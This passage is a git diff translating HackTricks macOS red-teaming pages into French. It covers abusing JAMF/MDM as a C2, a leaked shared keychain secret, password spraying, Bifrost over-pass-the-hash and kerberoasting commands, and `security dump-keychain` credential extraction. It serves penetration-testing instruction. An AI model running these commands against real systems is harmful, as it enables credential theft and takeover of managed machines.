-**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Abusing MDMs +## Abus des MDM - JAMF Pro: `jamf checkJSSConnection` - Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +Si vous parvenez à **compromettre les identifiants administratifs** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre malware sur les machines. -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +Pour le red teaming dans les environnements MacOS, il est fortement recommandé d'avoir une certaine compréhension du fonctionnement des MDM : {{#ref}} macos-mdm/ {{#endref}} -### Using MDM as a C2 +### Utiliser MDM comme C2 -A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... +Un MDM aura la permission d'installer, de consulter ou de supprimer des profils, d'installer des applications, de créer des comptes administratifs locaux, de définir un mot de passe firmware, de changer la clé FileVault... -In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). +Pour exécuter votre propre MDM, vous devez **faire signer votre CSR par un fournisseur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm). -However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. +Cependant, pour installer une application sur un appareil inscrit, vous devez toujours qu'elle soit signée par un compte développeur... cependant, lors de l'inscription au MDM, le **dispositif ajoute le certificat SSL du MDM comme CA de confiance**, vous pouvez donc maintenant signer n'importe quoi. -To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). +Pour inscrire le dispositif dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis Safari, il sera décompressé). -**Mythic agent Orthrus** uses this technique. +**L'agent Mythic Orthrus** utilise cette technique. -### Abusing JAMF PRO +### Abus de JAMF PRO -JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). +JAMF peut exécuter **des scripts personnalisés** (scripts développés par l'administrateur système), **des charges utiles natives** (création de compte local, définition de mot de passe EFI, surveillance de fichiers/processus...) et **MDM** (configurations de dispositifs, certificats de dispositifs...). -#### JAMF self-enrolment +#### Auto-inscription JAMF -Go to a page such as `https://.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. +Allez sur une page telle que `https://.jamfcloud.com/enroll/` pour voir s'ils ont **l'auto-inscription activée**. S'ils l'ont, cela pourrait **demander des identifiants pour accéder**. -You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. +Vous pourriez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque par pulvérisation de mots de passe. -Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: +De plus, après avoir trouvé des identifiants appropriés, vous pourriez être en mesure de forcer d'autres noms d'utilisateur avec le formulaire suivant : ![](<../../images/image (107).png>) -#### JAMF device Authentication +#### Authentification des dispositifs JAMF
-The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ -Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** +Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** entre tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\ +De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`** -#### JAMF Device Takeover - -The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ -This file basically contains the URL: +#### Prise de contrôle des dispositifs JAMF +L'**URL** **JSS** (Jamf Software Server) que **`jamf`** utilisera se trouve dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ +Ce fichier contient essentiellement l'URL : ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist [...] - is_virtual_machine - - jss_url - https://halbornasd.jamfcloud.com/ - last_management_framework_change_id - 4 +is_virtual_machine + +jss_url +https://halbornasd.jamfcloud.com/ +last_management_framework_change_id +4 [...] ``` - -So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2. - +Ainsi, un attaquant pourrait déposer un paquet malveillant (`pkg`) qui **écrase ce fichier** lors de l'installation en définissant l'**URL vers un écouteur Mythic C2 d'un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` +#### Usurpation de JAMF -#### JAMF Impersonation +Pour **usurper la communication** entre un appareil et JMF, vous avez besoin de : -In order to **impersonate the communication** between a device and JMF you need: +- Le **UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +- Le **trousseau JAMF** de : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil -- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate +Avec ces informations, **créez une VM** avec le **UUID** matériel **volé** et avec **SIP désactivé**, déposez le **trousseau JAMF,** **accrochez** l'agent Jamf et volez ses informations. -With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. - -#### Secrets stealing +#### Vol de secrets

a

-You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. +Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf, car ils sont **placés ici, exécutés et supprimés**. Ces scripts **pourraient contenir des identifiants**. -However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). +Cependant, les **identifiants** pourraient être passés à ces scripts en tant que **paramètres**, donc vous devrez surveiller `ps aux | grep -i jamf` (sans même être root). -The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. +Le script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus. -### macOS Remote Access +### Accès à distance macOS -And also about **MacOS** "special" **network** **protocols**: +Et aussi sur les **protocoles** **réseau** **"spéciaux"** de **MacOS** : {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**: ## Active Directory -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +Dans certaines occasions, vous constaterez que l'**ordinateur MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes : {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} -Some **local MacOS tool** that may also help you is `dscl`: - +Un **outil local MacOS** qui peut également vous aider est `dscl` : ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +Aussi, il existe des outils préparés pour MacOS afin d'énumérer automatiquement l'AD et de jouer avec kerberos : -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +- [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS. +- [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. L'objectif du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible. +- [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript pour l'automatisation (JXA) pour faire de l'énumération Active Directory. +### Informations sur le domaine ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` +### Utilisateurs -### Users +Les trois types d'utilisateurs MacOS sont : -The three types of MacOS users are: +- **Utilisateurs Locaux** — Gérés par le service OpenDirectory local, ils ne sont en aucun cas connectés à l'Active Directory. +- **Utilisateurs Réseau** — Utilisateurs Active Directory volatils qui nécessitent une connexion au serveur DC pour s'authentifier. +- **Utilisateurs Mobiles** — Utilisateurs Active Directory avec une sauvegarde locale de leurs identifiants et fichiers. -- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -- **Mobile Users** — Active Directory users with a local backup for their credentials and files. +Les informations locales sur les utilisateurs et les groupes sont stockées dans le dossier _/var/db/dslocal/nodes/Default._\ +Par exemple, les informations sur l'utilisateur appelé _mark_ sont stockées dans _/var/db/dslocal/nodes/Default/users/mark.plist_ et les informations sur le groupe _admin_ se trouvent dans _/var/db/dslocal/nodes/Default/groups/admin.plist_. -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. - -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -- **CanSSH** - entity allowed to SSH to host -- **CanVNC** - entity allowed to VNC to host -- **CanAE** - entity allowed to execute AppleEvent scripts on host +En plus d'utiliser les bords HasSession et AdminTo, **MacHound ajoute trois nouveaux bords** à la base de données Bloodhound : +- **CanSSH** - entité autorisée à SSH vers l'hôte +- **CanVNC** - entité autorisée à VNC vers l'hôte +- **CanAE** - entité autorisée à exécuter des scripts AppleEvent sur l'hôte ```bash #User enumeration dscl . ls /Users @@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` +Plus d'infos dans [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) - -### Computer$ password - -Get passwords using: +### Mot de passe de l'ordinateur$ +Obtenez des mots de passe en utilisant : ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` - -It's possible to access the **`Computer$`** password inside the System keychain. +Il est possible d'accéder au mot de passe **`Computer$`** dans le trousseau de clés Système. ### Over-Pass-The-Hash -Get a TGT for an specific user and service: - +Obtenez un TGT pour un utilisateur et un service spécifiques : ```bash bifrost --action asktgt --username [user] --domain [domain.com] \ - --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] +--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` - -Once the TGT is gathered, it's possible to inject it in the current session with: - +Une fois le TGT récupéré, il est possible de l'injecter dans la session actuelle avec : ```bash bifrost --action asktgt --username test_lab_admin \ - --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ - --enctype aes256 --domain test.lab.local +--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ +--enctype aes256 --domain test.lab.local ``` - ### Kerberoasting - ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ - --username [user] --hash [hash] --enctype [enctype] +--username [user] --hash [hash] --enctype [enctype] ``` - -With obtained service tickets it's possible to try to access shares in other computers: - +Avec les tickets de service obtenus, il est possible d'essayer d'accéder aux partages sur d'autres ordinateurs : ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` +## Accéder au Trousseau -## Accessing the Keychain - -The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise: +Le Trousseau contient très probablement des informations sensibles qui, si elles sont accessibles sans générer une invite, pourraient aider à faire avancer un exercice de red team : {{#ref}} macos-keychain.md {{#endref}} -## External Services +## Services Externes -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. +Le Red Teaming MacOS est différent d'un Red Teaming Windows classique car généralement **MacOS est intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS consiste à accéder à l'ordinateur en utilisant **des identifiants synchronisés OneLogin et à accéder à plusieurs services externes** (comme github, aws...) via OneLogin. -## Misc Red Team techniques +## Techniques Diverses de Red Team ### Safari -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: +Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr", il sera **ouvert automatiquement**. Par exemple, si vous **téléchargez un zip**, il sera automatiquement décompressé :
-## References +## Références - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index a6135959d..35b204cf6 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -4,60 +4,59 @@ ## Main Keychains -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. -- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - - It's possible to find other components like certificates in `/System/Library/Keychains/*` -- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - - Apps will be restricted in the keychain only to their private area based on their application identifier. +- Le **User Keychain** (`~/Library/Keychains/login.keychain-db`), qui est utilisé pour stocker des **identifiants spécifiques à l'utilisateur** comme des mots de passe d'application, des mots de passe internet, des certificats générés par l'utilisateur, des mots de passe réseau et des clés publiques/privées générées par l'utilisateur. +- Le **System Keychain** (`/Library/Keychains/System.keychain`), qui stocke des **identifiants à l'échelle du système** tels que des mots de passe WiFi, des certificats racine du système, des clés privées du système et des mots de passe d'application du système. +- Il est possible de trouver d'autres composants comme des certificats dans `/System/Library/Keychains/*` +- Dans **iOS**, il n'y a qu'un seul **Keychain** situé dans `/private/var/Keychains/`. Ce dossier contient également des bases de données pour le `TrustStore`, les autorités de certification (`caissuercache`) et les entrées OSCP (`ocspache`). +- Les applications seront restreintes dans le keychain uniquement à leur zone privée en fonction de leur identifiant d'application. ### Password Keychain Access -These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. +Ces fichiers, bien qu'ils n'aient pas de protection inhérente et puissent être **téléchargés**, sont chiffrés et nécessitent le **mot de passe en clair de l'utilisateur pour être déchiffrés**. Un outil comme [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pourrait être utilisé pour le déchiffrement. ## Keychain Entries Protections ### ACLs -Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: +Chaque entrée dans le keychain est régie par des **Access Control Lists (ACLs)** qui dictent qui peut effectuer diverses actions sur l'entrée du keychain, y compris : -- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. -- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. -- **ACLAuhtorizationAny**: Allows the holder to perform any action. +- **ACLAuhtorizationExportClear** : Permet au titulaire d'obtenir le texte clair du secret. +- **ACLAuhtorizationExportWrapped** : Permet au titulaire d'obtenir le texte clair chiffré avec un autre mot de passe fourni. +- **ACLAuhtorizationAny** : Permet au titulaire d'effectuer n'importe quelle action. -The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: +Les ACLs sont également accompagnées d'une **liste d'applications de confiance** qui peuvent effectuer ces actions sans demande. Cela pourrait être : -- **N`il`** (no authorization required, **everyone is trusted**) -- An **empty** list (**nobody** is trusted) -- **List** of specific **applications**. +- **N`il`** (aucune autorisation requise, **tout le monde est de confiance**) +- Une **liste vide** (**personne** n'est de confiance) +- **Liste** d'**applications** spécifiques. -Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** +De plus, l'entrée peut contenir la clé **`ACLAuthorizationPartitionID`,** qui est utilisée pour identifier le **teamid, apple,** et **cdhash.** -- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. -- If the **apple** is specified, then the app needs to be **signed** by **Apple**. -- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. +- Si le **teamid** est spécifié, alors pour **accéder à la valeur de l'entrée** **sans** **demande**, l'application utilisée doit avoir le **même teamid**. +- Si le **apple** est spécifié, alors l'application doit être **signée** par **Apple**. +- Si le **cdhash** est indiqué, alors l'**app** doit avoir le **cdhash** spécifique. ### Creating a Keychain Entry -When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: +Lorsque **une nouvelle** **entrée** est créée en utilisant **`Keychain Access.app`**, les règles suivantes s'appliquent : -- All apps can encrypt. -- **No apps** can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change ACLs. -- The **partitionID** is set to **`apple`**. +- Toutes les applications peuvent chiffrer. +- **Aucune application** ne peut exporter/déchiffrer (sans demander à l'utilisateur). +- Toutes les applications peuvent voir le contrôle d'intégrité. +- Aucune application ne peut changer les ACLs. +- Le **partitionID** est défini sur **`apple`**. -When an **application creates an entry in the keychain**, the rules are slightly different: +Lorsque **une application crée une entrée dans le keychain**, les règles sont légèrement différentes : -- All apps can encrypt. -- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change the ACLs. -- The **partitionID** is set to **`teamid:[teamID here]`**. +- Toutes les applications peuvent chiffrer. +- Seule l'**application créatrice** (ou toute autre application explicitement ajoutée) peut exporter/déchiffrer (sans demander à l'utilisateur). +- Toutes les applications peuvent voir le contrôle d'intégrité. +- Aucune application ne peut changer les ACLs. +- Le **partitionID** est défini sur **`teamid:[teamID ici]`**. ## Accessing the Keychain ### `security` - ```bash # List keychains security list-keychains @@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` - ### APIs > [!TIP] -> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) +> L'**énumération et l'extraction** de secrets du **trousseau** qui **ne générera pas d'invite** peuvent être effectuées avec l'outil [**LockSmith**](https://github.com/its-a-feature/LockSmith) > -> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. +> D'autres points de terminaison API peuvent être trouvés dans le code source de [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html). -List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: +Listez et obtenez des **informations** sur chaque entrée du trousseau en utilisant le **Security Framework** ou vous pouvez également vérifier l'outil cli open source d'Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Quelques exemples d'API : -- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - - **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - - **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - - **`kSecReturnAttributes`**: Get metadata about entries - - **`kSecMatchLimit`**: How many results to return - - **`kSecClass`**: What kind of keychain entry +- L'API **`SecItemCopyMatching`** fournit des informations sur chaque entrée et il y a certains attributs que vous pouvez définir lors de son utilisation : +- **`kSecReturnData`** : Si vrai, il essaiera de déchiffrer les données (définir sur faux pour éviter les pop-ups potentiels) +- **`kSecReturnRef`** : Obtenez également une référence à l'élément du trousseau (définir sur vrai au cas où vous verriez plus tard que vous pouvez déchiffrer sans pop-up) +- **`kSecReturnAttributes`** : Obtenez des métadonnées sur les entrées +- **`kSecMatchLimit`** : Combien de résultats retourner +- **`kSecClass`** : Quel type d'entrée de trousseau -Get **ACLs** of each entry: +Obtenez les **ACL** de chaque entrée : -- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - - Description - - **Trusted Application List**. This could be: - - An app: /Applications/Slack.app - - A binary: /usr/libexec/airportd - - A group: group://AirPort +- Avec l'API **`SecAccessCopyACLList`**, vous pouvez obtenir l'**ACL pour l'élément du trousseau**, et cela renverra une liste d'ACL (comme `ACLAuhtorizationExportClear` et les autres mentionnés précédemment) où chaque liste a : +- Description +- **Liste des applications de confiance**. Cela pourrait être : +- Une application : /Applications/Slack.app +- Un binaire : /usr/libexec/airportd +- Un groupe : group://AirPort -Export the data: +Exportez les données : -- The API **`SecKeychainItemCopyContent`** gets the plaintext -- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted +- L'API **`SecKeychainItemCopyContent`** obtient le texte en clair +- L'API **`SecItemExport`** exporte les clés et certificats mais peut nécessiter de définir des mots de passe pour exporter le contenu chiffré -And these are the **requirements** to be able to **export a secret without a prompt**: +Et voici les **exigences** pour pouvoir **exporter un secret sans invite** : -- If **1+ trusted** apps listed: - - Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - - Need code signature to match **PartitionID** - - Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) -- If **all applications trusted**: - - Need the appropriate **authorizations** - - Need code signature to match **PartitionID** - - If **no PartitionID**, then this isn't needed +- Si **1+ applications de confiance** listées : +- Besoin des **autorisations** appropriées (**`Nil`**, ou faire **partie** de la liste autorisée d'applications dans l'autorisation d'accès aux informations secrètes) +- Besoin que la signature de code corresponde au **PartitionID** +- Besoin que la signature de code corresponde à celle d'une **application de confiance** (ou faire partie du bon KeychainAccessGroup) +- Si **toutes les applications sont de confiance** : +- Besoin des **autorisations** appropriées +- Besoin que la signature de code corresponde au **PartitionID** +- Si **pas de PartitionID**, alors cela n'est pas nécessaire > [!CAUTION] -> Therefore, if there is **1 application listed**, you need to **inject code in that application**. +> Par conséquent, s'il y a **1 application listée**, vous devez **injecter du code dans cette application**. > -> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. +> Si **apple** est indiqué dans le **partitionID**, vous pourriez y accéder avec **`osascript`** donc tout ce qui fait confiance à toutes les applications avec apple dans le partitionID. **`Python`** pourrait également être utilisé pour cela. -### Two additional attributes +### Deux attributs supplémentaires -- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app -- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - - Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. +- **Invisible** : C'est un drapeau booléen pour **cacher** l'entrée de l'application **UI** du trousseau +- **General** : C'est pour stocker des **métadonnées** (donc ce n'est PAS CHIFFRÉ) +- Microsoft stockait en texte clair tous les jetons de rafraîchissement pour accéder à des points de terminaison sensibles. ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 1a4f69c6e..2bbe92a69 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,199 +2,199 @@ {{#include ../../../banners/hacktricks-training.md}} -**To learn about macOS MDMs check:** +**Pour en savoir plus sur les MDM macOS, consultez :** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) ## Basics -### **MDM (Mobile Device Management) Overview** +### **Aperçu de MDM (Mobile Device Management)** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) est utilisé pour superviser divers appareils d'utilisateur final tels que les smartphones, les ordinateurs portables et les tablettes. En particulier pour les plateformes d'Apple (iOS, macOS, tvOS), cela implique un ensemble de fonctionnalités, d'API et de pratiques spécialisées. Le fonctionnement de MDM repose sur un serveur MDM compatible, qui est soit commercial, soit open-source, et doit prendre en charge le [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Les points clés incluent : -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- Contrôle centralisé des appareils. +- Dépendance à un serveur MDM qui respecte le protocole MDM. +- Capacité du serveur MDM à envoyer divers commandes aux appareils, par exemple, l'effacement à distance des données ou l'installation de configurations. -### **Basics of DEP (Device Enrollment Program)** +### **Principes de base de DEP (Device Enrollment Program)** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +Le [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) proposé par Apple simplifie l'intégration de la gestion des appareils mobiles (MDM) en facilitant la configuration sans contact pour les appareils iOS, macOS et tvOS. DEP automatise le processus d'inscription, permettant aux appareils d'être opérationnels dès leur sortie de la boîte, avec un minimum d'intervention de l'utilisateur ou de l'administrateur. Les aspects essentiels incluent : -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- Permet aux appareils de s'enregistrer de manière autonome auprès d'un serveur MDM prédéfini lors de l'activation initiale. +- Principalement bénéfique pour les appareils neufs, mais également applicable aux appareils en cours de reconfiguration. +- Facilite une configuration simple, rendant 